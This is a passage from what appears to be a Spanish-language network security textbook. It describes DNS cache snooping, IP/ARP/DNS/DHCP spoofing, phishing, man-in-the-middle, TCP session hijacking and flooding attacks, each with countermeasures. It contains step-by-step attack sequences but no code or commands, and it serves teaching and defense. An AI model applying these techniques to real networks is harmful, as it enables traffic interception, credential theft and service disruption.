en el servidor, evitando revelar más información de la necesaria.

3.2.5. DNS Caché Snooping

La técnica DNS Caché Snooping permite a un atacante conocer los sitios web visitados
por los miembros de una organización. En otras palabras, gracias a esta vulnerabilidad
un atacante puede conocer los hábitos de los empleados de una organización y preparar
ataques basándose en esa información.
Cada vez que un cliente necesita resolver el nombre de un dominio, consulta al servidor
DNS que tiene configurado por defecto. Si el servidor no es autoritativo para el dominio
consultado, antes de solicitar la resolución del nombre por medio una consulta
recursiva, primero busca si tiene una resolución de ese nombre en su caché.
- Si tiene la resolución en la caché, la utiliza para resolver el nombre.

- Si no la tiene, entonces comienza el proceso de resolución recursiva y, una
vez resuelto el nombre, lo almacena en la caché.
Conociendo este funcionamiento, si alguien quiere saber si se ha resuelto previamente

un determinado nombre de dominio, basta con hacer consultas al servidor DNS,
anulando la resolución recursiva (ver Fig. 3-10). De esta manera, al preguntarle por un
nombre que no se encuentre dentro de su zona, el servidor DNS es forzado a responder
consultando tan solo su caché. Si ese nombre de dominio se ha pedido en un tiempo
reciente (y se encuentra cacheado), se obtiene la resolución del nombre, mientras que
si no se encuentra cacheado se obtiene una respuesta negativa de resolución.
Fig. 3-10. Captura de solicitud DNS con Wireshark.

A continuación, se describen algunos escenarios que pueden presentarse para vulnerar

la seguridad de una organización a través de esta técnica:
- Es posible conocer el software utilizado en los equipos internos de una

organización. Se puede descubrir, por ejemplo, si se están usando equipos
con Microsoft Windows, al conectarse a Windows Update
(update.microsoft.com), o si se usa una determinada aplicación como Gtalk,
o software mucho más específico.
- Se puede conocer la marca concreta del antivirus que es usado en los equipos
de la organización, consultando los dominios que utilizan cada uno de ellos
para actualizar su base de firmas. Esto permite a un atacante contar con toda
la información necesaria para crear un malware que sea indetectable por ese
antivirus.
- Por último, si se conocen los sitios visitados habitualmente por los miembros
de la organización, se puede atacar alguno de esos sitios web y por medio de
un exploit aprovechar alguna vulnerabilidad descubierta en los navegadores
usados en los equipos de la organización, permitiendo que, al visitar la web
modificada, los equipos clientes sean comprometidos con algún malware.
3.2.6. Sniffing
A través del sniffing se puede obtener una gran variedad de información. La técnica
consiste en escuchar el tráfico de la red de manera pasiva, esto permite descubrir hosts
en la red inspeccionando la dirección origen y destino de los paquetes, como así también
servicios y aplicación al inspeccionar la cabecera del protocolo de transporte e
identificar los puertos utilizados.
Existen una gran variedad de herramientas que permitan analizar el tráfico de la red
(sniffers), siendo las más populares Wireshark y TCPDump.

3.3. Suplantación de identidad (Spoofing)
El spoofing se puede traducir como “hacerse pasar por otro”, en términos de seguridad
de redes hace referencia al uso de técnicas de suplantación de identidad, es decir, un
atacante falsea el origen de los paquetes, haciendo creer a la víctima que estos provienen
de un host de confianza o autorizado.
En un ataque de spoofing entran en juego tres hosts: un atacante, una víctima, y el

sistema suplantado, que tiene cierta relación con el host víctima. Para que el atacante
pueda conseguir su objetivo necesita, por un lado, establecer una comunicación falseada
con su objetivo (el host victima), y por otro, evitar que el equipo suplantado interfiera
en el ataque. Esto último, puede conseguirse lanzando un ataque de denegación de
servicio contra el sistema suplantado.
Existen diferentes tipos de spoofing dependiendo de la tecnología a la que se haga

referencia, por ejemplo: el IP spoofing (quizás el más conocido), ARP spoofing, DNS
spoofing, DHCP spoofing, Phishing, e‐mail spoofing, etc. En general se puede englobar
dentro de spoofing a cualquier tecnología de red susceptible a la suplantación de
identidad.
3.3.1. IP Spoofing
El ataque consiste en sustituir la dirección origen de un paquete IP, por la dirección IP

del host que se desea suplantar. Esto se consigue generalmente gracias a programas o
librerías que permiten crear y manipular paquetes TCP/IP. El motivo para falsear la IP
origen de un datagrama puede ser, que desde la misma se disponga de acceso hacia un
host objetivo, debido a que existe un dispositivo de filtrado (firewall) que permite el
tráfico de paquetes con esa dirección IP origen. También es muy usado para ocultar el
origen de un ataque de denegación de servicio.
Se debe tener en cuenta que las respuestas a los paquetes IP falseados son dirigidas al
host suplantado y no hacia el host atacante. Sin embargo, el IP Spoofing es usado en
muchos ataques que no necesitan ver las respuestas (blind spoofing), por ejemplo,
ataques de tipo flooding, inundando a la víctima con tantos paquetes como sea posible
en un corto lapso de tiempo, con el objetivo de degradar su capacidad de conexión a la
red o realizar una denegación de servicios.
La Fig. 3-11 muestra un ejemplo de suplantación IP en una red local. El atacante envía
al host A un mensaje ICMP echo request (encapsulado dentro de IP), en el que falsea
la dirección origen del datagrama con la dirección del host B.

Cuando el host A recibe el paquete, responde con un mensaje ICMP echo reply dirigido
al host B (y no hacia el atacante).
Fig. 3-11. Ataque de IP Spoofing.
Contramedidas
Hoy en día un ataque clásico de IP Spoofing hacia un objetivo remoto, es bastante difícil
de conseguir, debido a que los routers actuales no permiten el envío de paquetes con
direcciones IP origen que no pertenezcan a las redes que administran.
Hay algunas precauciones que pueden ser tomadas para limitar los riesgos de sufrir IP
spoofing, como:
• Filtrado en el router: Implementando filtros de entrada y salida en el router a

través de listas de control de acceso (ACL, Access Control List).
• Cifrado y autenticación: el uso de cifrado y autenticación combate la amenaza
de spoofing. Estas características se obtienen con la implementación de IPSec.
3.3.2. ARP Spoofing
El protocolo ARP es el encargado de traducir direcciones IP de 32 bits, a las

correspondientes direcciones hardware, generalmente de 48 bits en dispositivos
Ethernet. Cuando un dispositivo necesita traducir una dirección IP a una dirección
MAC, envía una solicitud ARP (arp-request) a la dirección de difusión del segmento
de red, FF:FF:FF:FF:FF:FF, solicitando que el equipo que posea la IP consultada
responda con su dirección MAC.

La Fig. 3-12 muestra el proceso de resolución ARP, donde un host A, con IP

192.168.1.11 y MAC 0A:0A:0A:0A:0A:0A envía una solicitud por difusión (arp-
request), preguntando por la dirección MAC asociada a la IP 192.168.1.12 (host B).
Todos los hosts del segmento de red local reciben la solicitud, pero solo el host B
reconoce su propia IP y envía una respuesta (arp-reply) dirigida al host A. Esta
respuesta contiene la dirección MAC de host B.
Fig. 3-12. Proceso de resolución de una dirección IP a una dirección MAC.
Con el objetivo de reducir el tráfico en la red, cada solicitud y respuesta ARP que llega
a una tarjeta de red, es almacenada en una tabla llamada caché ARP. Cada interfaz de
red tiene asociada una caché ARP. Así, todos los hosts que reciben por difusión un
paquete arp-request, actualizan su caché ARP, agregando a ella la dirección IP y MAC
del host que envió la solicitud. Por otro lado, el host que recibe una respuesta ARP (arp-
reply), actualiza su caché ARP con la IP y MAC del host que envió la respuesta. Este
comportamiento puede ser aprovechado por un atacante, para realizar un ataque de
spoofing al protocolo ARP. Otra característica de este protocolo es que es stateless, por
lo tanto, la mayoría de los sistemas operativos actualizan su caché si reciben una
respuesta (arp-reply), sin importar si se envió o no un pedido (arp-request).
El ARP Spoofing o ARP poisoning, se basa en el envío de respuestas ARP falseadas con
el objetivo de envenenar las entradas (relación IP‐MAC) de la tabla ARP de la víctima,
y forzarla a que envíe los paquetes al host del atacante en vez de hacerlo al destino
legítimo. Normalmente se asocia la dirección MAC del atacante con la dirección IP del
nodo suplantado, con el objetivo de poder capturar el tráfico ajeno, sin necesidad de
poner en modo promiscuo la interfaz de red.

A continuación, se muestra el ataque en mayor detalle a través de un ejemplo, en el que

se envenena la caché ARP del host A, suplantando la IP de la puerta de enlace
predeterminada (gateway). La Fig. 3-13 muestra la caché ARP del host A y el recorrido
de las tramas enviadas al gateway antes del envenenamiento.
Fig. 3-13. Estado original de la caché ARP del host A.
Para perpetrar el ataque, el atacante envía un paquete arp-reply falseado al host A,

suplantando la IP del gateway y asociándola a la dirección MAC del host atacante,
como se muestra en la siguiente figura:

Fig. 3-14. Envenenamiento de la caché ARP del host A.
El host A recibe el paquete arp-reply y agrega la entrada falsa a su caché ARP. A partir
de ahora, cualquier paquete del host A dirigido al gateway, es erróneamente enviado al
atacante, como se muestra en la Fig. 3-15. Este ataque permite al intruso, con el uso de
un sniffer, monitorear el tráfico enviado desde el host A hacia el gateway.
En consecuencia, el atacante puede elegir entre reenviar el tráfico hacia el gateway

(ataque pasivo o escucha), o modificar los datos antes de reenviarlos (ataque activo).
Fig. 3-15. Caché ARP del host A envenenada.

Un ataque de ARP spoofing, permite o facilita la realización de otros tipos de ataques,

por ejemplo, lanzar un ataque de tipo DoS (Denegación de Servicio) contra una víctima,
asociando una dirección MAC errónea o inexistente con la dirección IP de la puerta de
enlace predeterminada de la víctima o realizar un ataque de hombre en el medio (MITM,
Man in the Middle) de manera que todo el tráfico entre dos nodos pase a través de la
máquina del atacante.
Por último, cabe mencionar que la caché ARP es de tamaño limitado y que sus entradas
expiran en un corto lapso de tiempo, por tanto, el envenenamiento ARP debe realizarse
de manera continua, enviando cada cierto tiempo paquetes arp-reply falseados para
alimentar la caché ARP de la víctima (de esta forma nunca necesitará preguntar). Así,
se evita que la víctima envié una solicitud ARP. Ya que un pedido de este tipo puede
estropear el ataque al cambiar la entrada ARP que el hacker falsificó, por una entrada
legítima.
Contramedidas
Una posible solución para evitar ataques de suplantación de ARP, es la utilización de

entradas estáticas en la caché ARP, de manera que no puedan ser actualizadas de forma
dinámica. En este caso, los paquetes arp-reply enviados por el atacante son ignorados.
El principal inconveniente de esta solución es que las entradas de la caché ARP deben
ser cargadas manualmente, lo que resulta impráctico en redes con gran cantidad de
dispositivos. Actualmente, la mayoría de los switches incorporan funcionalidades como
ARP anti-attack y ARP attack detection para proteger la red de este tipo de ataque.

3.3.3. DNS Spoofing
El Domain Name System o DNS, es un sistema de bases de datos distribuida, jerárquica

y escalable de tipo cliente/servidor, que almacena información asociada a nombres de
dominio. Soporta tanto IPv4 como IPv6, y la información se almacena en registros de
recursos, los cuales pueden contener direcciones IP u otro tipo de información. Su
principal función es la traducción o mapeo de nombres de dominio a direcciones IP.
El DNS Spoofing, consiste en falsificar las respuestas de resolución DNS, es decir,

resolver un nombre de dominio o FQDN (Fully Qualified Domain Name) con una
dirección IP falsa o viceversa. Por lo general, el objetivo del ataque es mapear un
nombre de dominio con la dirección IP de un servidor web controlado por un atacante.
De manera que, un usuario al introducir en su navegador web el nombre de dominio
afectado, es redirigido a la página web del atacante. Existen diferentes métodos para
llevar a cabo el ataque, como modificar las entradas del servidor DNS preferido que
tiene configurado la víctima, o comprometer un servidor DNS para que envenene la
caché de otro (lo que se conoce como DNS Poisoning); incluso un atacante podría
interceptar las solicitudes de resolución de nombre de la víctima, y enviarle respuestas
falsas en nombre del servidor DNS.
A continuación, se muestran algunas técnicas para realizar ataques de DNS Spoofing.
DNS Poisoning
El ataque consiste en forzar al servidor DNS objetivo a que realice una solicitud de
resolución de nombre de dominio a un servidor DNS administrado por el atacante. Este
último, envía la respuesta solicitada y además añade registros falsificados en la sección
de registros adicionales, para envenenar la caché del servidor DNS objetivo.
Para entender el método, considere que el atacante administra el dominio atacante.net

y al servidor ns.atacante.net. Además, personaliza los registros de su servidor DNS
agregando entradas falsas, por ejemplo, www.herrera.unt.edu.ar. IN A 81.81.81.8.
La secuencia para envenenar la caché del servidor DNS objetivo se muestra en la Fig.
3-16 y es la siguiente:
1) El host malicioso envía una solicitud al servidor DNS objetivo pidiendo resolver
el nombre www.atacante.net
2) El servidor DNS objetivo no conoce la dirección IP para ese dominio, por lo

que necesita preguntar al servidor DNS autoritativo para la zona
(ns.atacante.net).

3) El servidor DNS personalizado del atacante contesta al servidor DNS objetivo,

incluyendo en la respuesta registros adicionales, entre ellos el registro
falsificado para www.herrera.unt.edu.ar.
4) El servidor DNS objetivo al recibir la respuesta queda envenenado (hasta que la

caché sea limpiada o actualizada) y finalmente envía la respuesta solicitada al
host atacante.
5) A partir de ahora, si un cliente (resolver) consulta al servidor DNS objetivo

(envenenado) por la dirección de www.herrera.unt.edu.ar, este responde con la
IP falsa 81.81.81.8.
Fig. 3-16. Proceso de envenenamiento de caché DNS

DNS ID Spoofing
El método consiste en interceptar las solicitudes de resolución de nombre (DNS query)

de la víctima, y enviar respuestas (DNS response) falsas. Para que el ataque sea exitoso,
la respuesta del atacante debe llegar a la víctima antes que la del servidor DNS legítimo.
El paquete DNS response creado por el atacante, debe cumplir con ciertas condiciones
de validación para que sea aceptado por la victima (resolver):
- El puerto destino en el datagrama de respuesta debe ser el mismo que el

puerto origen de la petición.
- El ID del mensaje de respuesta debe ser el mismo que el ID del mensaje de
pregunta.
- El campo ANSWER debe referir el mismo recurso que el campo
QUESTION.
- La sección AUTHORITATIVE contiene los servidores autoritativos de la
sección ANSWER.
De no cumplirse alguna de las condiciones anteriormente nombradas, el resolver va a

ignorar la respuesta.
El método requiere que el atacante esté en la misma subred que la víctima, para poder
monitorear su tráfico y capturar las peticiones DNS para así obtener la información
necesaria para armar las respuestas falsas. La interceptación de las solicitudes se puede
lograr a través de un ataque Man in the middle entre la víctima y el servidor DNS
preferido, para que todo el tráfico entre ellos pase por el host del atacante. La Fig. 3-17
muestra el escenario planteado.
Fig. 3-17. Envío de respuesta DNS falseada
El browser del host A (victima) necesita resolver el nombre www.clarin.com, por lo

que consulta al servidor DNS que tiene configurado por defecto, que en este caso es la

dirección de gateway. Dicha petición es interceptada por el atacante que responde con
un paquete dns-response, asociando una IP incorrecta (3.3.3.3) al nombre de dominio
consultado. Para evitar que se produzca una condición de carrera entre la respuesta del
host malicioso y la del DNS preferido, el atacante impide el reenvío de la solicitud hacia
el DNS preferido. De esta manera, la víctima recibe una traducción falsa y es redirigida
al sitio web del atacante.
Contramedidas
En el documento de la IETF, RFC5452 Measures for making DNS more resilient

against Forged Answers3 se describe la problemática del DNS spoofing y las bases en
las implementaciones del software DNS, con objeto de detectar y evitar esta amenaza:
“Un resolver, con objeto de validar una respuesta DNS, debe realizar las siguientes
comprobaciones:
a) La sección question del paquete de respuesta es equivalente a la consulta

realizada en el query.
b) El campo ID del paquete de respuesta coincide con el ID de la consulta.
c) La respuesta procede de la misma dirección de red a la cual la pregunta fue
enviada.
d) La respuesta llega a la misma dirección y puerto desde la cual se emitió la
pregunta.
En general, se acepta la primera respuesta que cumpla con estas cuatro condiciones.”
Finalmente, se considera que la solución más eficaz contra el DNS Poisoning, es la

implementación de DNSSEC (Domain Name System Security Extensions), es un
conjunto de especificaciones destinadas a autenticar el origen de los datos en los
mensajes DNS. Esta opción requiere que el servidor DNS legítimo tenga también
activadas las extensiones de seguridad.
3
RFC5452. http://tools.ietf.org/html/rfc5452

3.3.4. DHCP Spoofing

El protocolo DHCP (Dynamic Host Configuration Protocol) es un componente integral
para la funcionalidad del protocolo de Internet (IP) en las redes actuales. Su función es
asignar dinámicamente una dirección IP y otros parámetros de configuración de red
(máscara de red, puerta de enlace, servidores DNS preferidos) a cada dispositivo en una
red.
El funcionamiento normal del protocolo DHCP indica que:
1) Inicialmente un host cliente envía a la dirección de broadcast un paquete

DHCPDISCOVERY, para solicitar que se le envíe los parámetros de
configuración.
2) Cada servidor DHCP de la red recibe el mensaje y responde con un paquete
DHCPOFFER, que contiene información relativa a la configuración asignada.
3) El cliente puede seleccionar total o parcialmente los parámetros recibidos y
responder (a la dirección de broadcast) con un mensaje DHCPREQUEST,
solicitando que se le asignen los parámetros seleccionados.
4) Finalmente, el servidor valida la asignación de los parámetros y responde con
un mensaje DHCPACK, indicando al cliente que la configuración ha sido
reservada.
A continuación, veremos algunas técnicas para realizar ataques de DHCP Spoofing:
Rogue DHCP
Un ataque de Rogue DHCP consiste en introducir un servidor DHCP falso en la red, de

manera que, cuando el cliente envíe un paquete DHCPDISCOVERY, respondan con
un DHCPOFFER tanto el servidor DHCP legítimo como el servidor DHCP falso. En
este punto, la oferta enviada por el servidor DHCP falso entra en condición de carrera
con la oferta del servidor DHCP legítimo de la red, es decir, el cliente DHCP toma la
configuración que llegue primero. La oferta que envía el servidor falso contiene
parámetros de configuración falseados, por ejemplo, puede cambiar la dirección de la
puerta de enlace (gateway), dando la dirección IP del atacante, y de esa manera realizar
un ataque de Man in the middle, permitiendo al atacante leer y modificar los paquetes
antes de reenviarlos. También puede cambiar la dirección del DNS preferido y así
establecer las bases para un ataque de DNS Spoofing. La figura 3-18 ilustra la situación
descripta.
Un problema que se presenta con este método es que el atacante desconoce inicialmente
tanto el rango de direcciones IP que se conceden, como las que se encuentran ya
asignadas por el servidor DHCP legítimo. Esto puede generar conflictos entre las
direcciones IP que asigna el falso servidor, con las dadas por el servidor legítimo. Para
evitar este problema, el atacante puede hacer uso de un método conocido como DHCP
ACK Injection, que es tratado a continuación.

Fig. 3-18. Ataque de Rogue DHCP.
DHCP ACK Injection
Dado que la comunicación DHCP se realiza enviando los paquetes a la dirección de

difusión, FF:FF:FF:FF:FF:FF, todos los equipos de la LAN reciben los paquetes DHCP.
Esto permite a un atacante que se encuentra en la misma red, monitorear los
intercambios DHCP e intervenir en un determinado punto de la comunicación,
enviando un paquete especialmente formado para modificar su comportamiento.
El punto donde interesa intervenir es cuando el servidor reconoce con un DHCPACK

la configuración del cliente. Se tiene que escuchar toda la comunicación poniendo
atención en el paquete DHCPREQUEST, donde el cliente selecciona la IP, DNS y
gateway, entre otros parámetros ofrecidos previamente por el servidor DHCP legítimo.
Cuando el atacante recibe el paquete DHCPREQUEST, responde con un DHCPACK
como lo haría el servidor DHCP legítimo, pero estableciendo la configuración a criterio
del atacante.
La siguiente figura muestra cómo se produce el intercambio de paquetes para hacer

efectivo el ataque.

Fig. 3-19. Ataque de DHCP ACK Injection.
La ventaja de este ataque es que no se necesita conocer el rango de direcciones IP ni

que direcciones están ya en uso. Se deja en manos del servidor DHCP legítimo ofrecer
toda esa información y solo se interviene en la fase final, en el reconocimiento que da
el servidor sobre la configuración seleccionada. También es más difícil de detectar, ya
que solo se envía un paquete, en el que se suplanta la IP del servidor DHCP legítimo.
Sin embargo, en este método también se produce una condición de carrera, entre la
respuesta del servidor DHCP y la enviada por el atacante. La confirmación
(DHCPACK) que llegue primero al cliente es la que establece la configuración del
mismo. Un atacante puede asegurarse que su respuesta llegue primero, si impide que el
servidor DHCP legítimo envié su respuesta. Esto último se puede conseguir atacando
el DHCP legitimo con un ataque conocido como DHCP Starvation.
DHCP Starvation
En un ataque de DHCP Starvation (inanición DHCP) un usuario malicioso inunda con

peticiones al servidor DHCP, utilizando diferentes direcciones MAC falseadas. El
objetivo del ataque es agotar por completo el pool de direcciones asignables por el
servidor DHCP por un período indefinido de tiempo. Entonces, los clientes DHCP de
la red no pueden obtener automáticamente una IP del servidor DHCP debido a que ya
no tiene direcciones libres para asignar. Está situación es aprovechada por el atacante
para asegurar el éxito de un ataque de Rogue DHCP.

Contramedidas
DHCP Snooping es la protección más fiable contra ataques de DHCP spoofing. Es una
funcionalidad que poseen los switches actuales y que permite diferenciar entre dos tipos
de puertos: por un lado, los puertos confiables (trusted port) y por otro, puertos no
confiables (untrusted host). Los primeros no tienen restricciones respecto al tipo de
mensajes DHCP que pueden recibir, puesto que son aquellos conectados a un entorno
controlado (en este caso a los servidores DHCP). Sin embargo, los segundos
únicamente pueden enviar aquellos paquetes que en condiciones normales un cliente
necesita enviar para conseguir su configuración DHCP (DHCPDiscover,
DHCPRequest, DHCPRelease). Los untrusted port por lo tanto son configurados en
aquellos puertos conectados a los usuarios finales y en caso de recibir un paquete
suplantado DHCPOffer, un DHCPNack o DHCPAck (este es el caso de DHCP Ack
Inyector) es bloqueado.
Fig. 3-20. Funcionamiento de DHCP Snooping
Otra contramedida es el uso de VACL (Vlan Access List), estas proporcionan control
de acceso a todos los paquetes dentro de la VLAN y permite filtrar paquetes a
determinados puertos. Se puede bloquear el tráfico UDP proveniente del puerto 67 para
aquellos puertos del switch destinados al usuario final.

3.3.5. Phishing
El Phishing consiste en la suplantación de una página web real por otra falsa con el fin
de realizar acciones fraudulentas. La web falsa tiene el mismo aspecto, páginas y links
de la web que se pretende suplantar. En este caso, el objetivo no es engañar a una
entidad de aplicación o a un protocolo sino a una persona.
La web falsa es administrada por un atacante. Generalmente este ataque es usado para
el robo de información como credenciales de acceso a un sitio web u otros datos
enviados a través de formularios, haciendo creer a la víctima que se encuentra en una
web de confianza. Incluso puede usarse para brindar información falsa con fines
fraudulentos.
El atacante se vale de técnicas de ingeniería social para lograr que la víctima acceda a
la web falsa. Puede enviar el enlace a la página web falsa por correo electrónico, o algún
sistema de mensajería instantánea, redes sociales, etc. También se puede hacer un
ataque de DNS Spoofing para redireccionar a la víctima a la página web falsa.
Contramedidas
Algunas precauciones que pueden ser tomadas para evitar o al menos disminuir las
probabilidades de ser víctimas de phishing son siguientes:
• Configurar la opción anti-phishing que incorporan los navegadores web

actuales.
• Los filtros de spam también ayudan a proteger contra el phishing, ya que
reducen el número de correos electrónicos recibidos relacionados con este
ataque.
• Asegurarse de que el sitio visitado utilice conexiones seguras SSL/TLS.

3.4. Hombre en el Medio (MITM, Man in the Middle)
En un ataque Man in the Middle, el atacante se posiciona en medio de una comunicación

entre dos dispositivos víctimas, es decir, actúa como un intermediario, interceptando y
retrasmitiendo los paquetes de la comunicación. Esto puede suceder en cualquier forma
de comunicación, como correo electrónico, redes sociales, navegación web, etc. Por
medio de este ataque el hacker adquiere la capacidad de leer, modificar y redirigir a
voluntad los datos que intercambian las victimas que participan en la comunicación.
También es la base para el lanzamiento de otros ataques, por ejemplo, DNS ID spoofing
y hijacking.
Existen una gran variedad de métodos para llevar a cabo ataques de MITM, muchos de
ellos derivan de otros ataques, como el ARP Spoofing y DHCP Spoofing vistos en la
sección anterior. Los ataques de hombre en medio no son exclusivos de las redes IPv4,
también afecta a redes IPv6, este último caso es tratado en el próximo capitulo.
MITM basado en ARP spoofing
Un ataque de MITM basado en ARP spoofing se articula de la siguiente forma:
Un atacante con dirección IP 192.168.1.200 y MAC 0c:0c:0c: 0c:0c:0c quiere ponerse

en medio de la comunicación entre el host A con dirección IP 192.168.1.2 y MAC
0a:0a:0a: 0a:0a:0a, y el host B con dirección IP 192.168.1.3 y MAC 0b:0b:0b: 0b:0b:0b.
Para perpetrar el ataque envía tramas arp-reply a cada víctima. Al host A le indica que
la IP del host B se corresponde con la MAC del atacante. Mientras que al host B le
indica que la IP del host A se corresponde con la MAC del atacante, como muestra la
Fig. 3-21.

Fig. 3-21. Envenenamiento de caché ARP.
Ambos sistemas reciben la resolución falseada y la almacenan en sus respectivas tablas

ARP, quedando engañados. En este punto, el atacante se convierte en un intermediario
en la comunicación de ambos hosts y reenvía las tramas para evitar que la comunicación
se interrumpa y no levantar sospechas (Fig. 3-22). De esta manera, el atacante captura
cualquier tipo de información enviada entre las víctimas como, por ejemplo,
credenciales de inicio de sesión, correos electrónicos, llamadas VoIP, incluso puede
modificar los paquetes antes de reenviarlos.
Fig. 3-22. Ataque de Man in the Middle basado en ARP Spoofing.

Dado que este ataque funciona usando el protocolo ARP, tanto las víctimas como el
atacante deben encontrarse en el mismo segmento de red. No se puede por lo tanto
envenenar una conexión entre dos sistemas que se encuentran en una VLAN diferente
al atacante.
Aunque el ataque ARP spoofing se basa en el envío de tramas ARP Reply para mantener
el engaño, en algunos escenarios puede llegar a fallar. Determinados entornos
(configuraciones de electrónica de red principalmente) pueden descartar tramas de ARP
Reply si en la comunicación no ha existido una petición de tipo ARP Request previa.
Para evitar este problema, el atacante puede enviar paquetes ARP Request hacia las
víctimas y colocar en medio la entrada ARP falseada. Aunque evidentemente esto va a
generar más tráfico en la red.
MITM basado en DHCP spoofing
Como ya se vio en la sección 3.3.4, el DHCP spoofing se basa en enviar a la víctima

parámetros de configuración falseados durante el proceso de asignación dinámica de
una dirección IP. Algunos de los parámetros que pueden ser falseados son, por ejemplo,
el router por defecto y el DNS preferido. Un atacante puede basarse en esto para llevar
a cabo un ataque de MITM, al cambiar la dirección del gateway y/o la de DNS por la
IP del host atacante. De esta manera, si la víctima envía un paquete fuera de su red, el
paquete es erróneamente enviado al host del atacante. Algo similar ocurre cuando la
víctima consulta a su DNS preferido para la resolución de un nombre de dominio, la
consulta DNS es también enviada a la dirección IP del atacante.
La Fig. 3-23 muestra un escenario donde un servidor DHCP legítimo está configurado
para establecer como router por defecto la dirección de la interfaz R1 del router
(192.168.1.1) y como DNS preferido la IP 192.168.1.253. Mientras que el DHCP falso
configura esos mismos parámetros con la IP del atacante (192.168.1.50).

Fig. 3-23. Establecimiento de un ataque de MITM basado en DHCP Spoofing.
Cabe aclarar que un ataque de MITM basado en DHCP spoofing es de un solo sentido
(half-duplex), solo permite capturar el tráfico saliente que la víctima envía a hosts fuera
de la red, además de las consultas al servidor DNS preferido. Luego el atacante reenvía
las tramas al destinatario real para no interrumpir la comunicación. Las respuestas se
envían directamente a la víctima. La siguiente figura muestra como es direccionado un
paquete enviado por la víctima hacia Internet.
Fig. 3-24. Trayectoria del tráfico saliente de la víctima hacia Internet.

Contramedidas
Las contramedidas para mitigar ataques de MITM parten de evitar que se perpetren
técnicas de spoofing con los mecanismos ya vistos en secciones anteriores (entradas
ARP estáticas, DHCP Snooping, ARP anti-attack). Otra contramedida es el cifrado de
extremo a extremo de la comunicación, de modo que, si la comunicación es
interceptada, no pueda ser leída.
3.5. Secuestro de sesión TCP (TCP Session Hijacking)
El TCP sessión Hijacking es un ataque en el que un intruso se apropia de uno de los

extremos (por lo general el lado cliente) de una conexión TCP ya establecida. El
secuestro de sesión permite a un atacante sobrepasar la protección de autenticación por
contraseña de servicios inseguros (como telnet y ftp) y llevar a cabo operaciones
maliciosas en nombre del sistema suplantado.
El ataque es efectivo cuando la víctima usa aplicaciones no cifradas. Por ejemplo, si la

conexión es una sesión telnet, se puede inyectar comandos maliciosos en la sesión para
que el sistema objetivo los ejecute. Este tipo de ataque es posible porque la
autenticación normalmente solo se realiza al inicio de una sesión.
El hijacking involucra a tres hosts o sistemas:
• Atacante: es el sistema utilizado por el atacante para el secuestro.

• Víctima: es el sistema utilizado por la víctima para las conexiones de clientes
(por ejemplo, telnet) al sistema de destino. Es el sistema que el atacante va a
suplantar.
• Objetivo: es el sistema que el intruso quiere comprometer. En este sistema
corren servicios de interés para el atacante (por ejemplo, el daemon telnetd).
A continuación, se describe el ataque con detalle a través de un ejemplo:
La siguiente figura muestra a los sistemas víctima (de IP ipA) y objetivo (de IP ipB)
comunicándose a través de una sesión telnet ya establecida. Ambos sistemas se
encuentran en la misma subred (aunque podrían estar en redes diferentes).

Fig. 3-25. Sesión telnet establecida entre las víctimas.
A través de técnicas de sniffing el atacante escucha la comunicación entre la víctima y

el objetivo, para obtener de los segmentos TCP intercambiados los datos necesarios
para realizar el secuestro de la sesión. Los campos de la cabecera TCP de interés para
el atacante son los siguientes:
• Los puertos origen y destino, identifican la conexión entre dos sistemas.

• Número de secuencia (SN): este campo representa la posición en el flujo de
datos que está enviando la entidad TCP transmisora. Debe recordarse que TCP
utiliza como unidad de medida el byte, por lo que este número representa la
posición en bytes del segmento que está siendo encapsulado.
• Número de ACK (AN): El valor de este campo tiene sentido cuando el flag
ACK tiene el valor 1. En ese caso, el campo indica el próximo byte en el flujo
de datos que se espera recibir de la entidad transmisora.
El atacante puede lanzar un ataque de MITM para escuchar la comunicación entre las
víctimas, como se muestra en la Fig. 3-26. De cada segmento interceptado se obtiene el
número de secuencia (SN), el número ACK (AN) y entre paréntesis la cantidad de bytes
transportados.

Fig. 3-26. Escucha de la comunicación TCP.
Para perpetrar el secuestro de sesión, el intruso envía al objetivo un paquete

especialmente formado en el que suplanta la dirección IP de la víctima y el número de
secuencia del próximo paquete de datos que ésta va a transmitir (SN=x+90; AN=y+40),
como muestra la Fig. 3-27.
El host objetivo acepta el paquete, ya que no importa dónde ni cómo se generó. Mientras
se cumplan con las normas del protocolo, la máquina lo va a procesar si recibe lo que
está esperando.

Fig. 3-27. Secuestro de conexión TCP del lado cliente.
Este ataque crea un estado de desincronización en el número de secuencia en ambos

lados de la conexión TCP, permitiendo el secuestro de la sesión (Fig. 3-28). Debido a
esta desincronización, el host objetivo va a descartar los paquetes provenientes del host
víctima, pues estos son enviados con un número de secuencia incorrecto. La víctima
quedó desfasada de la comunicación. Mientras que el atacante quedó sincronizado y
puede continuar la comunicación con el host objetivo.
Fig. 3-28. Conexión TCP secuestrada.

Contramedidas
Este ataque puede evitarse cifrando los paquetes, esto impide que el atacante obtenga
cualquier información que ayude a la suplantación de identidad. Un cifrado a nivel de
red es lo más recomendable (pues cifra la cabecera TCP) y se consigue con la
implementación del protocolo IPSec. También es recomendable el uso de aplicaciones
seguras como SSL, SSH, FTPS, etc.
3.6. Denegación de Servicio (DoS, Denial of Service)
Los ataques de Denegación de Servicio (DoS, Denial of Service) tienen por meta
provocar la indisponibilidad de servicios, equipos o redes, con el fin impedir que
usuarios legítimos accedan a los mismos.
Este tipo de ataques se basan generalmente en consumir los recursos de una máquina,
servicio o red, por ejemplo:
• Disminuir el ancho de banda disponible de una red mediante la generación de

un gran volumen de tráfico.
• Consumir ciclos del procesador lo cual disminuye la capacidad de
procesamiento de un equipo.
• Agotar el máximo número de conexiones concurrentes permitidas a un servicio.
• Saturar los buffers de los equipos de red, provocando pérdida de paquetes, etc.
A continuación, se exponen algunos de los ataques de denegación de servicio más

representativos.
3.6.1. Net Flooding
Un ataque de Net flooding consiste en inundar la red mediante el envío masivo de

paquetes, es decir, generar de una sobrecarga de tráfico en la red. Esto provoca un
agotamiento del ancho de banda disponible, ralentizando las comunicaciones existentes
de toda la red.
Las técnicas aplicadas en este tipo de ataque se basan en los protocolos ICMP y UDP,
al tratarse de protocolos no orientados a conexión y que permiten el envío de paquetes
sin requisitos previos: ICMP flooding y UDP Flooding.
El tráfico generado en este tipo de ataque puede ser:
• Aleatorio: cuando la dirección IP de origen o destino del paquete es aleatoria o

falsa. Este tipo de ataque busca simplemente degradar la comunicación de una
red.
• Dirigido: la dirección IP de origen, destino, o incluso ambas, es la del equipo
(víctima) que recibe el ataque. El objetivo de este ataque es doble, ya que

además de degradar las comunicaciones de la red, también trata de colapsar el

equipo al que van dirigidos los paquetes, saturándolo con una gran cantidad de
peticiones que el host no es capaz de procesar.
3.6.2. Smurf
